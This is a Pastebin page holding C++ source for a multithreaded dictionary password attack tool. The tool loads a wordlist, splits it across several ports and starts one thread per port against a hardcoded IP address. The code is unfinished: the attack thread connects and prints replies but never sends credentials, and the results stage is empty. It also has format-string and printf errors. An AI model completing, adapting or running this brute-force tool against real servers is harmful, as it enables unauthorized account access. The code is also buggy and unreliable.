Advertisement
cgrunwald

Untitled

Jul 31st, 2010
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.63 KB | None | 0 0
  1. #include "DictAttack.h"
  2. #include "Socket.h"
  3. #include <pthread.h>
  4. using namespace std;
  5.  
  6. #define DEFAULT_SERVER "66.230.225.210"
  7.  
  8. void *AttackThread(void *arg) {
  9.     // Reclassify it as a thread package.
  10.     thrPackage * pkgInfo = (thrPackage *)(arg);
  11.    
  12.     // Temporary variables.
  13.     int iPasswordIndex = 0;
  14.     int iRetries = 0;
  15.  
  16.     // Grab the port just to make things easier.
  17.     int iPort = pkgInfo->Port;
  18.     char UserName[16];
  19.     char rcvBuf[4096];
  20.     char tempBuf[4096];
  21.     sprintf(UserName, pkgInfo->User);
  22.  
  23.     // Create Socket
  24.     Socket * sckAttack = new
  25.         Socket(DEFAULT_SERVER, iPort);
  26.  
  27.     // Begin working with socket.
  28.     while ( (!sckAttack->Connect()) && (iRetries < 3) )
  29.     {
  30.         iRetries++;
  31.         printf("Failed to connect to %s:%p\nRetrying(%d)..\n",
  32.                 DEFAULT_SERVER,
  33.                 iPort,
  34.                 iRetries);
  35.     }
  36.  
  37.     // Check to make sure we're connected.
  38.     if ( !sckAttack->isConnected() )
  39.     {
  40.         printf("Failed all retries. Halting attack on %s:%d\n",
  41.                 DEFAULT_SERVER,
  42.                 iPort);
  43.         return NULL;
  44.     }
  45.  
  46.     // Begin receiving.
  47.     while (sckAttack->Recv(rcvBuf, 4096))
  48.     {
  49.         // Work with temporary buffer.
  50.         printf("%s", rcvBuf);
  51.         if ( strlen(rcvBuf) >= 4095)
  52.             sprintf(rcvBuf, "");
  53.     }
  54.  
  55.     // Delete and finish up.
  56.     delete sckAttack;
  57.     return NULL;
  58. }
  59.  
  60. int LineCount(char sDictFile[])
  61. {
  62.     // Temp variables.
  63.     int r = 0;
  64.     char strTemp[512];
  65.     // Open file.
  66.     ifstream pFile;
  67.     pFile.open(sDictFile, ios::in);
  68.     // Count lines.
  69.     while (!pFile.eof()) {
  70.         r++;
  71.         pFile.getline(strTemp, 512);
  72.     }
  73.     // And close it.
  74.     pFile.close();
  75.     // Done!
  76.     return r;
  77. }
  78.  
  79. int DictAttack(char sUser[], char sDictFile[], int * iPort, int mPort, char * sPassword)
  80. {
  81.     // Temporary variables.
  82.     int r = 0;
  83.     int iPassCount = 0;
  84.     int iSplitCount = 0;
  85.     int iLastPort = 0;
  86.     int iTempA = 0;
  87.     int iTempB = 0;
  88.     int iTempC = 0;
  89.     char strTemp[512];
  90.     arrString * sPassList = NULL;
  91.  
  92.     // Get line count.
  93.     iPassCount = LineCount(sDictFile);
  94.     printf("%d passwords to try in %s..\n", iPassCount, sDictFile);
  95.  
  96.     // And now we can create the pass array.
  97.     sPassList = new arrString [iPassCount];
  98.     iPassCount = 0; // Meh, reset it for another count.
  99.  
  100.     /* Reading in the dictionary file. */
  101.         // Open file.
  102.         ifstream pFile;
  103.         pFile.open(sDictFile, ios::in);
  104.         // Grab first line.
  105.         pFile.getline(strTemp, 512);
  106.         // Count lines.
  107.         while (!pFile.eof()) {
  108.             sprintf(sPassList[iPassCount].value, "%s", strTemp);
  109.             iPassCount++;
  110.             pFile.getline(strTemp, 512);
  111.         }
  112.         // Get the last line.
  113.         sprintf(sPassList[iPassCount].value, "%s", strTemp);
  114.         // Increment once more.
  115.         iPassCount++;
  116.         // And close it.
  117.         pFile.close();
  118.     /* Done reading. */
  119.        
  120.     /* Okay, so we have the dictionary file read in.
  121.     Let's print some data, then start the socket(s). */
  122.    
  123.     // Data output.
  124.     printf("%d port%s targeted.\n", mPort, ( (mPort > 1) ? "s" : ""));
  125.     // Figure out list per port.
  126.     iSplitCount = (iPassCount / mPort);
  127.     // Passwords count to use on the last port.
  128.     iLastPort = iSplitCount - ( (mPort * iSplitCount) - iPassCount);
  129.     printf("%d(approximately) passwords per port.\n", iSplitCount);
  130.     printf("%d * %d = %d so the last port will use %d passwords.\n\n", iSplitCount, mPort, (mPort * iSplitCount), iLastPort);
  131.    
  132.         // Thread variables
  133.     pthread_t * thrDictAttacks = NULL;
  134.     thrPackage * pkgWorker = NULL;
  135.  
  136.     /* * * * * < SINGLE PORT ATTACK > * * * * */
  137.     if (mPort == 1)
  138.     {
  139.         // Create thread and package.
  140.         thrDictAttacks = new pthread_t;
  141.         pkgWorker = new thrPackage;
  142.        
  143.         // Set variables.
  144.         sprintf(pkgWorker->User, sUser);
  145.         pkgWorker->Port = *iPort;
  146.         pkgWorker->PassCount = iSplitCount;
  147.         pkgWorker->PassList = sPassList;
  148.         // Create thread.
  149.         if ( pthread_create( thrDictAttacks, NULL, AttackThread, (void *)(pkgWorker)) )
  150.             abort();
  151.         // Wait till done.
  152.         if ( pthread_join ( *thrDictAttacks, NULL ) )
  153.                 abort();
  154.     /* * * * * < /SINGLE PORT ATTACK > * * * * */
  155.     }
  156.     else
  157.     {
  158.     /* * * * * < MULTIPLE PORT ATTACK > * * * * */
  159.         // Begin.
  160.         printf("Splitting up password list..\n");
  161.  
  162.         // Create threads and packages.
  163.         thrDictAttacks = new pthread_t [mPort];
  164.         pkgWorker = new thrPackage [mPort];
  165.  
  166.         /*  Stage 1; Split up packets.
  167.             iTempA will hold the count necessary for current package.
  168.             iTempB will hold where we're at in the big list.
  169.             iTempC will hold our current count.                 */
  170.  
  171.         for (int i=0; i < mPort; i++)
  172.         {
  173.             // Make sure we know the pass list size.
  174.             if (i == (mPort - 1))
  175.                 iTempA = iLastPort;
  176.             else iTempA = iSplitCount;
  177.            
  178.             // Set the basics.
  179.             sprintf(pkgWorker[i].User, sUser);
  180.             pkgWorker[i].PassCount = iTempA;
  181.             pkgWorker[i].Port = iPort[i];
  182.                
  183.             // Reserve memory.
  184.             if (i == (mPort - 1))
  185.                 pkgWorker[i].PassList = new arrString [iLastPort];
  186.             else
  187.                 pkgWorker[i].PassList = new arrString [iSplitCount];
  188.  
  189.             // Make sure iTempC is clean.
  190.             iTempC = 0;
  191.  
  192.             // Begin loop.
  193.             while (iTempC < iTempA)
  194.             {
  195.                 sprintf(pkgWorker[i].PassList[iTempC].value, sPassList[iTempB].value);
  196.                 iTempC++;
  197.                 iTempB++;
  198.             }
  199.         }
  200.         printf("Finished splitting list.\n");
  201.    
  202.         // Clear old variables.
  203.         printf("Erasing old list..\n\n");
  204.         delete [] sPassList;
  205.         iTempA = 0;
  206.         iTempB = 0;
  207.         iTempC = 0;
  208.         /*  </Stage 1>  */
  209.  
  210.  
  211.         /*  Stage 2; Launch the threads.        */
  212.         for (int i=0; i < mPort; i++)
  213.         {
  214.             if ( pthread_create(    &(thrDictAttacks[i]),
  215.                                     NULL,
  216.                                     AttackThread,
  217.                                     (void *)(&(pkgWorker[i]))) ) {
  218.                 printf("Failed to create thread.\n");
  219.                 abort();
  220.             }
  221.             printf("Attacking port %d..\n", iPort[i]);
  222.         }
  223.         /*  </Stage 2>  */
  224.  
  225.  
  226.         /*  Stage 3; Wait for them to finish.   */
  227.         for (int i=0; i < mPort; i++)
  228.         {
  229.             if ( pthread_join ( thrDictAttacks[i], NULL ) ) {
  230.                 printf("Failed to join thread.\n");        
  231.                 abort();
  232.             }
  233.             printf("Done with port %d..\n", iPort[i]);
  234.         }
  235.         /*  </Stage 3>  */
  236.  
  237.         /*  Final Stage: Check results. */
  238.            
  239.         /*  </Stage 4>  */
  240.     /* * * * * < /MULTIPLE PORT ATTACK > * * * * */
  241.     }
  242.     return r;
  243. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement